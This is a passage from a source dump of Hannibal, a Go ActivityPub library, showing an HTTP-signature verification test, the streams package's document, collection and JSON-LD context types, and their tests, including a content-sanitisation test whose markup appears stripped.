22 | Content-Length: 423
23 |
24 | {"@context":"https:\/\/www.w3.org\/ns\/activitystreams","id":"https:\/\/pixelfed.social\/users\/benpate#follow\/595731146082391369\/undo","type":"Undo","actor":"https:\/\/pixelfed.social\/users\/benpate","object":{"id":"https:\/\/pixelfed.social\/users\/benpate#follows\/595731146082391369","actor":"https:\/\/pixelfed.social\/users\/benpate","object":"https:\/\/emdev.ddns.net\/@64d68054a4bf39a519f27c67","type":"Follow"}}`)
25 |
26 | keyFinder := func(keyID string) (string, error) {
27 | return removeTabs(
28 | `-----BEGIN PUBLIC KEY-----
29 | MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsuI80UzaF1gQinBAZnz7
30 | CtqH4Rr6Booyii2ik+6Dw6nyuu//1VJVgWkck9xzGP1e0h2pqHNlqvsPxwjxw22o
31 | J31+hdU9mSOrK3C0k6nBT+RPEgfyj1UCXGk1lzfpKmgriftMGQ2kOQokRLqyKfXJ
32 | P7tizc3YUAGHw7pBWn/yV6SqMDyztvTF8Bzqx1zG4dvRLDpRWdVOZQkpZ+mrczt7
33 | TaYiZWkxSjZw0fsnoDXiDHX7cljq67Yrzu0WmeAR7fYAJgCxlC++557w95xY58Z9
34 | kIbcWXx0AExo/ed1GFNqFwg9Rdx58PzmA8dT9UpBOo9z6lu4KlbuWFYHz7b8HHGs
35 | rwIDAQAB
36 | -----END PUBLIC KEY-----`), nil
37 | }
38 |
39 | requestReader := bufio.NewReader(bytes.NewReader([]byte(raw)))
40 | request := must(http.ReadRequest(requestReader))
41 |
42 | err := Verify(request, keyFinder, VerifierIgnoreTimeout())
43 | require.Nil(t, err)
44 | }
45 |
--------------------------------------------------------------------------------
/streams/README.md:
--------------------------------------------------------------------------------
1 | ## Hannibal / streams
2 |
3 | This package implements the [ActivityStreams 2.0](https://www.w3.org/TR/activitystreams-core/)
4 | specifications in Hannibal. Specifically, it provides an overly simplistic view of JSON-LD
5 | documents, contexts, and the various types of ActivityStream collections.
6 |
7 | This is not a rigorous implementation of JSON-LD. Instead, it is an easy way to navigate
8 | well-formatted JSON-LD documents and to iterate over their contents, as well as loading
9 | additional documents from the web when necessary.
10 |
11 | ```go
12 | // Load a document directly from its URL
13 | document, err := streams.Load("https://your.activitypub.server/@documentId")
14 |
15 | document.ID() // returns a string value
16 | document.Content() // returns the content property
17 | document.Published() // returns a time value
18 |
19 | // AttributedTo could be many things.. a single value, a link, or
20 | // an array of values and links. Let's make all of that easier.
21 | authors := document.AttributedTo()
22 |
23 | // You could just read the first author directly
24 | authors.Name() // returns the 'Name' string
25 | authors.ID() // returns the 'ID' string
26 |
27 | // Or you can use it as an iterator
28 | for authors := document.AttributedTo ; !authors.IsNil() ; authors = authors.Tail() {
29 | authors.Value() // returns the whole value from the array
30 | }
31 | ```
--------------------------------------------------------------------------------
/streams/bluemonday_test.go:
--------------------------------------------------------------------------------
1 | package streams
2 |
3 | import (
4 | "testing"
5 |
6 | "github.com/stretchr/testify/require"
7 | )
8 |
9 | // TestBlueMonday tests the content filtering implementation in streams.Documents
10 | func TestBlueMonday(t *testing.T) {
11 |
12 | badValue := map[string]any{
13 | "name": "John Connor",
14 | "summary": "This is a bad summary ",
15 | "content": "
Some of this content should be visible.
", 16 | } 17 | 18 | badDocument := NewDocument(badValue) 19 | 20 | require.Equal(t, "John Connor", badDocument.Name()) 21 | require.Equal(t, "This is a bad summary ", badDocument.Summary()) 22 | require.Equal(t, "Some of this content should be visible.
", badDocument.Content()) 23 | } 24 | -------------------------------------------------------------------------------- /streams/client.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | // Client represents an HTTP client (or facades in front of one) 4 | // that can load a JSON-LD document from a remote server. A Client 5 | // is injected into each streams.Document record so that the 6 | // Document can load additional linked data as needed. 7 | type Client interface { 8 | 9 | // Load returns a Document representing the specified URI. 10 | Load(uri string, options ...any) (Document, error) 11 | } 12 | -------------------------------------------------------------------------------- /streams/client_http.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/benpate/derp" 5 | "github.com/utterproofre/hannibal/vocab" 6 | "github.com/benpate/remote" 7 | ) 8 | 9 | type DefaultClient struct{} 10 | 11 | func NewDefaultClient() Client { 12 | return DefaultClient{} 13 | } 14 | 15 | // Load implements the hannibal.Client interface, which loads an ActivityStream 16 | // document from a remote server. For the hannibal default client, this method 17 | // simply loads the document from a remote server with no other processing. 18 | func (client DefaultClient) Load(url string, options ...any) (Document, error) { 19 | 20 | const location = "hannibal.streams.Client.Load" 21 | 22 | result := make(map[string]any) 23 | 24 | // Try to load-and-parse the value from the remote server 25 | transaction := remote.Get(url). 26 | Accept(vocab.ContentTypeActivityPub). 27 | Result(&result) 28 | 29 | if err := transaction.Send(); err != nil { 30 | return NilDocument(), derp.Wrap(err, location, "Error loading JSON-LD document", url) 31 | } 32 | 33 | // Return in triumph 34 | return NewDocument(result, 35 | WithClient(client), 36 | WithHTTPHeader(transaction.ResponseHeader()), 37 | ), 38 | nil 39 | } 40 | -------------------------------------------------------------------------------- /streams/client_test.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/benpate/rosetta/mapof" 8 | ) 9 | 10 | // nolint:unused 11 | type testClient struct { 12 | data mapof.Any 13 | } 14 | 15 | // nolint:unused 16 | func newTestClient() testClient { 17 | return testClient{ 18 | data: testStreamData(), 19 | } 20 | } 21 | 22 | // nolint:unused 23 | func (client testClient) Load(uri string, options ...any) (Document, error) { 24 | 25 | if value, ok := client.data[uri]; ok { 26 | return NewDocument(value, WithClient(client)), nil 27 | } 28 | 29 | return NilDocument(), derp.InternalError("hannibal.streams.testClient.Load", "Unknown URI", uri) 30 | } 31 | 32 | // testStreamData returns a collection of documents for the test client to return 33 | // nolint:unused 34 | func testStreamData() mapof.Any { 35 | 36 | rawData := mapof.String{ 37 | "https://demo/collection": `{ 38 | "@context":"https://w3.org/ns/activitystreams", 39 | "@id":"https://demo/collection", 40 | "@type":"Collection", 41 | "totalItems":3, 42 | "orderedItems":[ 43 | "https://example/collection-url-1", 44 | "https://example/collection-url-2", 45 | "https://example/collection-url-3" 46 | ] 47 | }`, 48 | "https://demo/ordered": `{ 49 | "@context":"https://w3.org/ns/activitystreams", 50 | "type":"OrderedCollection", 51 | "totalItems":3, 52 | "orderedItems":[ 53 | "https://example/url-1", 54 | "https://example/url-2", 55 | "https://example/url-3" 56 | ] 57 | }`, 58 | "https://demo/ordered-page": `{ 59 | "@context":"https://w3.org/ns/activitystreams", 60 | "type":"OrderedCollection", 61 | "totalItems":9, 62 | "first":"https://demo/ordered-page-1" 63 | }`, 64 | "https://demo/ordered-page-1": `{ 65 | "@context":"https://w3.org/ns/activitystreams", 66 | "type":"OrderedCollectionPage", 67 | "totalItems":9, 68 | "next":"https://demo/ordered-page-2", 69 | "orderedItems":[ 70 | "https://example/url-1", 71 | "https://example/url-2", 72 | "https://example/url-3" 73 | ] 74 | }`, 75 | "https://demo/ordered-page-2": `{ 76 | "@context":"https://w3.org/ns/activitystreams", 77 | "type":"OrderedCollectionPage", 78 | "totalItems":9, 79 | "next":"https://demo/ordered-page-3", 80 | "orderedItems":[ 81 | "https://example/url-4", 82 | "https://example/url-5", 83 | "https://example/url-6" 84 | ] 85 | }`, 86 | "https://demo/ordered-page-3": `{ 87 | "@context":"https://w3.org/ns/activitystreams", 88 | "type":"OrderedCollectionPage", 89 | "totalItems":9, 90 | "orderedItems":[ 91 | "https://example/url-7", 92 | "https://example/url-8", 93 | "https://example/url-9" 94 | ] 95 | }`, 96 | "https://demo/interminus": `{ 97 | "@context":"https://w3.org/ns/activitystreams", 98 | "type":"OrderedCollection", 99 | "totalItems":9, 100 | "first":"https://demo/interminus-1" 101 | }`, 102 | "https://demo/interminus-1": `{ 103 | "@context":"https://w3.org/ns/activitystreams", 104 | "type":"OrderedCollectionPage", 105 | "totalItems":9, 106 | "next":"https://demo/interminus-2", 107 | "orderedItems":[ 108 | "https://example/url-1", 109 | "https://example/url-2", 110 | "https://example/url-3" 111 | ] 112 | }`, 113 | } 114 | 115 | result := mapof.NewAny() 116 | for key, value := range rawData { 117 | 118 | item := mapof.NewAny() 119 | if err := json.Unmarshal([]byte(value), &item); err != nil { 120 | panic(err) 121 | } 122 | 123 | result[key] = item 124 | } 125 | 126 | return result 127 | } 128 | -------------------------------------------------------------------------------- /streams/collection.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // Collection is a subtype of Object that represents ordered or unordered sets of Object or Link instances. 12 | // https://www.w3.org/ns/activitystreams#Collection 13 | type Collection struct { 14 | Context Context `json:"@context,omitempty" bson:"context,omitempty"` 15 | ID string `json:"id,omitempty" bson:"id,omitempty"` 16 | Type string `json:"type,omitempty" bson:"type,omitempty"` 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 20 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 21 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 22 | Items []any `json:"items,omitempty" bson:"items,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 23 | } 24 | 25 | func NewCollection(collectionID string) Collection { 26 | return Collection{ 27 | Context: DefaultContext(), 28 | Type: vocab.CoreTypeCollection, 29 | ID: collectionID, 30 | } 31 | } 32 | 33 | /****************************************** 34 | * JSON Marshalling 35 | ******************************************/ 36 | 37 | func (c *Collection) UnmarshalJSON(data []byte) error { 38 | 39 | result := make(map[string]any) 40 | 41 | if err := json.Unmarshal(data, &result); err != nil { 42 | return derp.Wrap(err, "activitystreams.Collection.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 43 | } 44 | 45 | return c.UnmarshalMap(result) 46 | } 47 | 48 | func (c *Collection) UnmarshalMap(data mapof.Any) error { 49 | 50 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeCollection { 51 | return derp.InternalError("activitystreams.Collection.UnmarshalMap", "Invalid type", dataType) 52 | } 53 | 54 | c.Type = vocab.CoreTypeCollection 55 | c.Summary = data.GetString("summary") 56 | c.TotalItems = data.GetInt("totalItems") 57 | c.Current = data.GetString("current") 58 | c.First = data.GetString("first") 59 | c.Last = data.GetString("last") 60 | 61 | if dataItems, ok := data["items"]; ok { 62 | if items, ok := UnmarshalItems(dataItems); ok { 63 | c.Items = items 64 | } 65 | } 66 | 67 | return nil 68 | } 69 | -------------------------------------------------------------------------------- /streams/collectionPage.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // CollectionPage is used to represent distinct subsets of items from a Collection. Refer to the Activity Streams 2.0 Core for a complete description of the CollectionPage object. 12 | // https://www.w3.org/ns/activitystreams#CollectionPage 13 | type CollectionPage struct { 14 | Context Context `json:"@context,omitempty" bson:"context,omitempty"` 15 | Type string `json:"type,omitempty" bson:"type,omitempty"` // Identifies the Object or Link type. (CollectionPage, OrderedCollectionPage) 16 | ID string `json:"id,omitempty" bson:"id,omitempty"` // Provides the globally unique identifier for an Object or Link. 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 20 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 21 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 22 | PartOf string `json:"partOf,omitempty" bson:"partOf,omitempty"` // dentifies the Collection to which a CollectionPage objects items belong. 23 | Prev string `json:"prev,omitempty" bson:"prev,omitempty"` // In a paged Collection, identifies the previous page of items. 24 | Next string `json:"next,omitempty" bson:"next,omitempty"` // In a paged Collection, indicates the next page of items. 25 | Items []any `json:"items,omitempty" bson:"items,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 26 | } 27 | 28 | func NewCollectionPage(pageID string) CollectionPage { 29 | return CollectionPage{ 30 | Context: DefaultContext(), 31 | ID: pageID, 32 | Type: vocab.CoreTypeCollectionPage, 33 | } 34 | } 35 | 36 | /****************************************** 37 | * JSON Marshalling 38 | ******************************************/ 39 | func (c *CollectionPage) UnmarshalJSON(data []byte) error { 40 | 41 | result := mapof.NewAny() 42 | 43 | if err := json.Unmarshal(data, &result); err != nil { 44 | return derp.Wrap(err, "activitystreams.CollectionPage.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 45 | } 46 | 47 | return c.UnmarshalMap(result) 48 | } 49 | 50 | func (c *CollectionPage) UnmarshalMap(data mapof.Any) error { 51 | 52 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeCollectionPage { 53 | return derp.InternalError("activitystreams.CollectionPage.UnmarshalMap", "Invalid type", dataType) 54 | } 55 | 56 | c.Type = vocab.CoreTypeCollectionPage 57 | c.ID = data.GetString("id") 58 | c.Summary = data.GetString("summary") 59 | c.TotalItems = data.GetInt("totalItems") 60 | c.Current = data.GetString("current") 61 | c.First = data.GetString("first") 62 | c.Last = data.GetString("last") 63 | c.PartOf = data.GetString("partOf") 64 | c.Prev = data.GetString("prev") 65 | c.Next = data.GetString("next") 66 | 67 | if dataItems, ok := data["items"]; ok { 68 | if items, ok := UnmarshalItems(dataItems); ok { 69 | c.Items = items 70 | } 71 | } 72 | 73 | return nil 74 | } 75 | -------------------------------------------------------------------------------- /streams/context.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "bytes" 5 | "encoding/json" 6 | 7 | "github.com/benpate/derp" 8 | "github.com/utterproofre/hannibal/vocab" 9 | ) 10 | 11 | type Context []ContextEntry 12 | 13 | func NewContext(args ...string) Context { 14 | result := make(Context, len(args)) 15 | 16 | for index, arg := range args { 17 | result[index] = NewContextEntry(arg) 18 | } 19 | 20 | return result 21 | } 22 | 23 | // DefaultContext represents the standard context defined by the W3C 24 | func DefaultContext() Context { 25 | return NewContext(vocab.NamespaceActivityStreams) 26 | } 27 | 28 | func (c Context) Length() int { 29 | if c == nil { 30 | return 0 31 | } 32 | 33 | return len(c) 34 | } 35 | 36 | func (c Context) IsEmpty() bool { 37 | return c.Length() == 0 38 | } 39 | 40 | func (c Context) IsEmptyTail() bool { 41 | return c.Length() <= 1 42 | } 43 | 44 | func (c Context) Head() *ContextEntry { 45 | if c.Length() == 0 { 46 | return nil 47 | } 48 | 49 | return &(c[0]) 50 | } 51 | 52 | func (c Context) Tail() Context { 53 | if c.Length() == 0 { 54 | return c 55 | } 56 | 57 | return c[1:] 58 | } 59 | 60 | // Add puts a new ContextEntry into the list and 61 | // returns a pointer to it so that additional properties 62 | // can be set. 63 | func (c *Context) Add(vocabulary string) *ContextEntry { 64 | entry := NewContextEntry(vocabulary) 65 | *c = append(*c, entry) 66 | return &((*c)[len(*c)-1]) 67 | } 68 | 69 | func (c Context) MarshalJSON() ([]byte, error) { 70 | 71 | const location = "writer.Context.MarshalJSON" 72 | 73 | switch len(c) { 74 | 75 | case 0: 76 | return []byte("null"), nil 77 | 78 | case 1: 79 | return json.Marshal(c[0]) 80 | } 81 | 82 | // Otherwise, write the Context as an array 83 | var buffer bytes.Buffer 84 | 85 | buffer.WriteByte('[') 86 | 87 | for index, context := range c { 88 | if index > 0 { 89 | buffer.WriteByte(',') 90 | } 91 | 92 | item, err := json.Marshal(context) 93 | 94 | if err != nil { 95 | return nil, derp.Wrap(err, location, "Failed to marshal context") 96 | } 97 | 98 | buffer.Write(item) 99 | } 100 | 101 | buffer.WriteByte(']') 102 | 103 | return buffer.Bytes(), nil 104 | } 105 | 106 | func (c *Context) UnmarshalJSON(data []byte) error { 107 | 108 | const location = "writer.Context.UnmarshalJSON" 109 | 110 | // If the data is empty, then this object is empty, too 111 | if len(data) == 0 { 112 | *c = make(Context, 0) 113 | return nil 114 | } 115 | 116 | // If this looks like a single item, then unmarshal it as a single item 117 | if (data[0] == '{') || (data[0] == '"') { 118 | 119 | onlyContext := ContextEntry{} 120 | 121 | if err := json.Unmarshal(data, &onlyContext); err != nil { 122 | return derp.Wrap(err, location, "Failed to unmarshal context") 123 | } 124 | 125 | *c = Context{onlyContext} 126 | return nil 127 | } 128 | 129 | // Otherwise, this looks like an array of contexts 130 | var entries []ContextEntry 131 | 132 | if err := json.Unmarshal(data, &entries); err != nil { 133 | return derp.Wrap(err, location, "Failed to unmarshal context array") 134 | } 135 | 136 | *c = entries 137 | return nil 138 | } 139 | -------------------------------------------------------------------------------- /streams/contextEntry.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | ) 6 | 7 | // ContextEntry 8 | // https://www.w3.org/TR/json-ld/#the-context 9 | type ContextEntry struct { 10 | Vocabulary string // The primary vocabulary represented by the context/document. 11 | Language string // The language 12 | Extensions map[string]string // a map of additional namespaces that are included in this context/document. 13 | } 14 | 15 | func NewContextEntry(vocabulary string) ContextEntry { 16 | return ContextEntry{ 17 | Vocabulary: vocabulary, 18 | Language: "und", 19 | Extensions: make(map[string]string), 20 | } 21 | } 22 | 23 | func (entry *ContextEntry) WithLanguage(language string) *ContextEntry { 24 | entry.Language = language 25 | return entry 26 | } 27 | 28 | func (entry *ContextEntry) WithExtension(key string, value string) *ContextEntry { 29 | if len(entry.Extensions) == 0 { 30 | entry.Extensions = make(map[string]string) 31 | } 32 | 33 | entry.Extensions[key] = value 34 | return entry 35 | } 36 | 37 | func (entry ContextEntry) MarshalJSON() ([]byte, error) { 38 | 39 | // If this context only has a vocabulary, then 40 | // use the short-form "string only" syntax 41 | if entry.IsVocabularyOnly() { 42 | return json.Marshal(entry.Vocabulary) 43 | } 44 | 45 | // Otherwise, use the long-form syntax as a JSON object 46 | result := make(map[string]any) 47 | result["@vocab"] = entry.Vocabulary 48 | 49 | if entry.IsLanguageDefined() { 50 | result["@language"] = entry.Language 51 | } 52 | 53 | if entry.HasExtensions() { 54 | for key, value := range entry.Extensions { 55 | result[key] = value 56 | } 57 | } 58 | 59 | return json.Marshal(result) 60 | } 61 | 62 | func (entry ContextEntry) IsVocabularyOnly() bool { 63 | if entry.IsLanguageDefined() { 64 | return false 65 | } 66 | 67 | if entry.HasExtensions() { 68 | return false 69 | } 70 | 71 | return true 72 | } 73 | 74 | func (entry ContextEntry) IsLanguageDefined() bool { 75 | if entry.Language == "" { 76 | return false 77 | } 78 | 79 | if entry.Language == "und" { 80 | return false 81 | } 82 | 83 | return true 84 | } 85 | 86 | func (entry ContextEntry) HasExtensions() bool { 87 | return len(entry.Extensions) > 0 88 | } 89 | -------------------------------------------------------------------------------- /streams/context_test.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | "testing" 6 | 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | func TestNew(t *testing.T) { 11 | 12 | // Test default context data 13 | { 14 | c := DefaultContext() 15 | 16 | require.True(t, c.IsEmptyTail()) 17 | require.True(t, c.Tail().IsEmpty()) 18 | head := c.Head() 19 | require.Equal(t, "https://www.w3.org/ns/activitystreams", head.Vocabulary) 20 | require.Equal(t, "und", head.Language) 21 | require.Zero(t, len(head.Extensions)) 22 | 23 | result, err := c.MarshalJSON() 24 | require.Nil(t, err) 25 | require.Equal(t, `"https://www.w3.org/ns/activitystreams"`, string(result)) 26 | } 27 | 28 | // Test custom context, and chaining multiple contexts 29 | { 30 | c := NewContext() 31 | entry := c.Add("https://test.com").WithLanguage("en-us") 32 | 33 | require.Equal(t, "https://test.com", c.Head().Vocabulary) 34 | require.Equal(t, "en-us", c.Head().Language) 35 | require.Zero(t, len(c.Head().Extensions)) 36 | 37 | { 38 | result, err := json.Marshal(c) 39 | require.Nil(t, err) 40 | require.Equal(t, `{"@language":"en-us","@vocab":"https://test.com"}`, string(result)) 41 | } 42 | 43 | entry.WithExtension("ext", "https://extension.com/ns/activitystreams") 44 | 45 | json1, err1 := c.MarshalJSON() 46 | require.Nil(t, err1) 47 | require.Equal(t, `{"@language":"en-us","@vocab":"https://test.com","ext":"https://extension.com/ns/activitystreams"}`, string(json1)) 48 | 49 | c.Add("https://www.w3.org/ns/activitystreams") 50 | json2, err2 := c.MarshalJSON() 51 | 52 | require.Equal(t, `[{"@language":"en-us","@vocab":"https://test.com","ext":"https://extension.com/ns/activitystreams"},"https://www.w3.org/ns/activitystreams"]`, string(json2)) 53 | require.Nil(t, err2) 54 | } 55 | 56 | // Test safely adding an extension to an improperly initialized context 57 | { 58 | c := NewContext() 59 | c.Add("https://test.com"). 60 | WithExtension("dog", "https://dog.com/ns/activitystreams") 61 | 62 | require.Equal(t, "https://test.com", c.Head().Vocabulary) 63 | require.Equal(t, "und", c.Head().Language) 64 | require.Equal(t, c.Head().Extensions["dog"], "https://dog.com/ns/activitystreams") 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /streams/documentOption.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import "net/http" 4 | 5 | type DocumentOption func(*Document) 6 | 7 | // WithClient option sets the HTTP client that can load remote documents if necessary 8 | func WithClient(client Client) DocumentOption { 9 | return func(doc *Document) { 10 | if client == nil { 11 | doc.client = NewDefaultClient() 12 | } else { 13 | doc.client = client 14 | } 15 | } 16 | } 17 | 18 | // WithHTTPHeader attaches an HTTP header to the document 19 | func WithHTTPHeader(httpHeader http.Header) DocumentOption { 20 | return func(doc *Document) { 21 | doc.httpHeader = httpHeader 22 | } 23 | } 24 | 25 | // WithStats attaches statistics to the document 26 | func WithStats(statistics Statistics) DocumentOption { 27 | return func(doc *Document) { 28 | doc.statistics = statistics 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /streams/document_actor.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/benpate/domain" 5 | "github.com/utterproofre/hannibal/vocab" 6 | ) 7 | 8 | // https://www.w3.org/TR/activitypub/#x4-1-actor-objects 9 | 10 | // https://www.w3.org/TR/activitypub/#inbox 11 | func (document Document) Inbox() Document { 12 | return document.Get(vocab.PropertyInbox) 13 | } 14 | 15 | // https://www.w3.org/TR/activitypub/#outbox 16 | func (document Document) Outbox() Document { 17 | return document.Get(vocab.PropertyOutbox) 18 | } 19 | 20 | // https://www.w3.org/TR/activitypub/#following 21 | func (document Document) Following() Document { 22 | return document.Get(vocab.PropertyFollowing) 23 | } 24 | 25 | // https://www.w3.org/TR/activitypub/#followers 26 | func (document Document) Followers() Document { 27 | return document.Get(vocab.PropertyFollowers) 28 | } 29 | 30 | // https://www.w3.org/TR/activitypub/#liked 31 | func (document Document) Liked() Document { 32 | return document.Get(vocab.PropertyLiked) 33 | } 34 | 35 | // https://www.w3.org/TR/activitypub/#likes 36 | func (document Document) Likes() Document { 37 | return document.Get(vocab.PropertyLikes) 38 | } 39 | 40 | // http://w3id.org/fep/c648 41 | func (document Document) Blocked() Document { 42 | return document.Get(vocab.PropertyBlocked) 43 | } 44 | 45 | // https://www.w3.org/TR/activitypub/#streams-property 46 | func (document Document) Streams() Document { 47 | return document.Get(vocab.PropertyStreams) 48 | } 49 | 50 | // https://www.w3.org/TR/activitypub/#preferredUsername 51 | func (document Document) PreferredUsername() string { 52 | return document.Get(vocab.PropertyPreferredUsername).String() 53 | } 54 | 55 | // Alias for https://www.w3.org/TR/activitypub/#preferredUsername 56 | func (document Document) Username() string { 57 | return document.PreferredUsername() 58 | } 59 | 60 | // UsernameOrID returns the username of the document, if it exists, or the ID of the document if it does not. 61 | func (document Document) UsernameOrID() string { 62 | if username := document.PreferredUsername(); username != "" { 63 | return "@" + username + "@" + domain.NameOnly(document.ID()) 64 | } 65 | return document.ID() 66 | } 67 | 68 | // https://www.w3.org/TR/activitypub/#endpoints 69 | func (document Document) Endpoints() Document { 70 | return document.Get(vocab.PropertyEndpoints) 71 | } 72 | -------------------------------------------------------------------------------- /streams/document_header.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import "net/http" 4 | 5 | // HTTPHeader returns the http.Header object associated with this document 6 | func (document Document) HTTPHeader() http.Header { 7 | return document.httpHeader 8 | } 9 | 10 | // SetHTTPHeader sets the http.Header object associated with this document 11 | func (document *Document) SetHTTPHeader(httpHeader http.Header) { 12 | document.httpHeader = httpHeader 13 | } 14 | -------------------------------------------------------------------------------- /streams/document_json.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/property" 8 | ) 9 | 10 | /****************************************** 11 | * Custom JSON Marshalling / Unmarshalling 12 | ******************************************/ 13 | 14 | // MarshalJSON implements the json.Marshaller interface, 15 | // and provides a custom marshalling into JSON -- 16 | // essentially just aiming the marshaller at the 17 | // Document's value. 18 | func (document Document) MarshalJSON() ([]byte, error) { 19 | return json.Marshal(document.value.Raw()) 20 | } 21 | 22 | // UnmarshalJSON implements the json.Unmarshaller interface, 23 | // and provides a custom un-marshalling from JSON -- 24 | // essentially just aiming the unmashaller at the 25 | // Document's value 26 | func (document *Document) UnmarshalJSON(bytes []byte) error { 27 | value := document.value.Raw() 28 | if err := json.Unmarshal(bytes, &value); err != nil { 29 | return derp.Wrap(err, "streams.Document.UnmarshalJSON", "Error unmarshalling JSON into Document") 30 | } 31 | 32 | document.value = property.NewValue(value) 33 | return nil 34 | } 35 | -------------------------------------------------------------------------------- /streams/document_set.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/vocab" 5 | "github.com/benpate/rosetta/convert" 6 | ) 7 | 8 | // SetString sets a string property on the document 9 | func (document *Document) SetString(name string, value ...string) bool { 10 | 11 | head := document.value.Head() 12 | 13 | if len(value) == 1 { 14 | document.value = head.Set(name, value[0]) 15 | return true 16 | } 17 | 18 | document.value = head.Set(name, value) 19 | return true 20 | } 21 | 22 | // Append appends a value to a property on the document 23 | func (document *Document) Append(name string, value any) bool { 24 | 25 | // RULE: If the value is empty, then NOOP 26 | if value == "" { 27 | return false 28 | } 29 | 30 | currentValue := convert.SliceOfAny(document.value.Head().Get(name)) 31 | newValue := append(currentValue, value) 32 | 33 | document.value.Set(name, newValue) 34 | return true 35 | } 36 | 37 | // AppendString appends a string to a property on the document 38 | func (document *Document) AppendString(name string, value string) bool { 39 | 40 | // RULE: If the value is empty, then NOOP 41 | if value == "" { 42 | return false 43 | } 44 | 45 | currentValue := convert.SliceOfAny(document.value.Head().Get(name)) 46 | newValue := append(currentValue, value) 47 | 48 | document.value.Set(name, newValue) 49 | return true 50 | } 51 | 52 | /****************************************** 53 | * Set/Append Helpers 54 | ******************************************/ 55 | 56 | // SetTo sets the "to" property of the document 57 | func (document *Document) SetTo(value ...string) bool { 58 | return document.SetString(vocab.PropertyTo, value...) 59 | } 60 | 61 | // SetBto sets the "bto" property of the document 62 | func (document *Document) SetBTo(value ...string) bool { 63 | return document.SetString(vocab.PropertyBTo, value...) 64 | } 65 | 66 | // SetCC sets the "cc" property of the document 67 | func (document *Document) SetCC(value ...string) bool { 68 | return document.SetString(vocab.PropertyCC, value...) 69 | } 70 | 71 | // SetBCC sets the "bcc" property of the document 72 | func (document *Document) SetBCC(value ...string) bool { 73 | return document.SetString(vocab.PropertyBCC, value...) 74 | } 75 | 76 | // AppendTo appends a value to the "to" property of the document 77 | func (document *Document) AppendTo(value string) bool { 78 | return document.AppendString(vocab.PropertyTo, value) 79 | } 80 | 81 | // AppendBTo appends a value to the "bto" property of the document 82 | func (document *Document) AppendBTo(value string) bool { 83 | return document.AppendString(vocab.PropertyBTo, value) 84 | } 85 | 86 | // AppendCC appends a value to the "cc" property of the document 87 | func (document *Document) AppendCC(value string) bool { 88 | return document.AppendString(vocab.PropertyCC, value) 89 | } 90 | 91 | // AppendBCC appends a value to the "bcc" property of the document 92 | func (document *Document) AppendBCC(value string) bool { 93 | return document.AppendString(vocab.PropertyBCC, value) 94 | } 95 | -------------------------------------------------------------------------------- /streams/document_special.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/utterproofre/hannibal/vocab" 7 | ) 8 | 9 | /****************************************** 10 | * Type Detection 11 | ******************************************/ 12 | 13 | // IsActivity returns TRUE if this document represents an Activity 14 | func (document Document) IsActivity() bool { 15 | 16 | switch document.Type() { 17 | 18 | case vocab.ActivityTypeAccept, 19 | vocab.ActivityTypeAdd, 20 | vocab.ActivityTypeAnnounce, 21 | vocab.ActivityTypeArrive, 22 | vocab.ActivityTypeBlock, 23 | vocab.ActivityTypeCreate, 24 | vocab.ActivityTypeDelete, 25 | vocab.ActivityTypeDislike, 26 | vocab.ActivityTypeFlag, 27 | vocab.ActivityTypeFollow, 28 | vocab.ActivityTypeIgnore, 29 | 